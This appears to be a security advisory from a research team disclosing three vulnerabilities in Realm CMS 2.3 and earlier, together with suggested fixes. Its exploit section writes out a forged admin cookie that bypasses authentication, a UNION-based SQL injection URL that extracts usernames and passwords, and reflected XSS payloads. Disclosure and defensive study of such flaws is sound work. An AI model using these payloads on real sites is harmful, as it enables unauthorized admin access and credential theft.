realmcms-multi.txt

`########################## www.BugReport.ir #######################################  
#  
# AmnPardaz Security Research Team  
#  
# Title: Realm CMS Multiple Vulnerabilities Lead to Admin Access.  
# Vendor: www.realmproject.com  
# Vulnerable Version: 2.3 and prior versions  
# Exploit: Available  
# Impact: High  
# Fix: N/A  
# Original Advisory: http://bugreport.ir/index.php?/40  
###################################################################################  
  
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1. Description:  
####################  
Realm CMS is an unique FREE classic ASP application integrating   
together Content Management and Blogging web publishing. Realm CMS is   
especially designed and tuned to be fast and smart handling web sites   
including thousands of web pages. Realm CMS is fundamentally based on   
the technology of caching - simultaneously using server's RAM and disk.   
This means that Realm CMS web site is easily managed as are database   
driven web sites and the same time it is as fast, robust as web sites   
based on pure HTML. This feature makes Realm CMS MS Access database   
driven web site fast and robust as are enterprise level database driven   
sites.   
  
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2. Vulnerabilities:  
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2.1. Broken Authentication and Session Management. Attacker can enter to the admin pages by a manipulated cookie.  
2.1.1. Exploit:  
Check the exploit section.  
2.2. Injection Flaws. SQL Injection in "inc_routines.asp" in "KeyWordsList" function on "kwrd" parameter.  
2.2.1. Exploit:  
Check the exploit section.  
2.3. Cross Site Scripting (XSS), Information Leakage. Reflected XSS attack, and DB path disclosure in "/cms/_db/compact.asp"  
2.3.1. Exploit:  
Check the exploit section.  
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3. Exploits:  
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Original Exploit URL: http://bugreport.ir/index.php?/40/exploit  
3.1. Attacker can enter to the admin pages by a manipulated cookie.  
-------------  
-Set these cookies:  
RealmCmsUser=cUserfiles=userFiles&cIntallType=BugReportTeam&cDbLocat=in&cSiteName=www.Bugreport.IR&cFolder=%2Fcms&cUniqueID=db&cUserRole=1&cUserName=Admin&cUserID=20  
-Then go to:  
/_RealmAdmin/login.asp  
-------------  
3.2. SQL Injection in "inc_routines.asp" in "KeyWordsList" function on "kwrd" parameter.  
-------------  
http://[URL]/cmsr/?job=kwl&kwrd=WWW.BugReport.IR' union select name,password from tblusers where name not like '%WWW.BugReport.IR  
-------------  
3.3. Reflected XSS attack, and DB path disclosure in "/cms/_db/compact.asp"  
-------------  
http://[URL]/cms/_db/compact.asp?CmpctedDB=%3Cscript%3Ealert('XSSed by BugReport.IR')%3C/script%3E (Reflected XSS attack)  
http://[URL]/cms/_db/compact.asp?CmpctedDB=1&Boyut=%3Cscript%3Ealert('XSSed by BugReport.IR')%3C/script%3E (Reflected XSS attack)  
http://[URL]/cms/_db/compact.asp (DB path disclosure)  
-------------  
####################  
4. Solution:  
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Rename admin directory "/_RealmAdmin" and wait for vendor patch (for 2.1).  
Edit the source code to ensure that inputs are properly sanitized (for 2.2).  
Remove or rename all the "/_db/compact.asp" files, in the cms (for 2.3).  
####################  
5. Credit:  
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AmnPardaz Security Research & Penetration Testing Group  
Contact: admin[4t}bugreport{d0t]ir  
WwW.BugReport.ir  
WwW.AmnPardaz.com  
  
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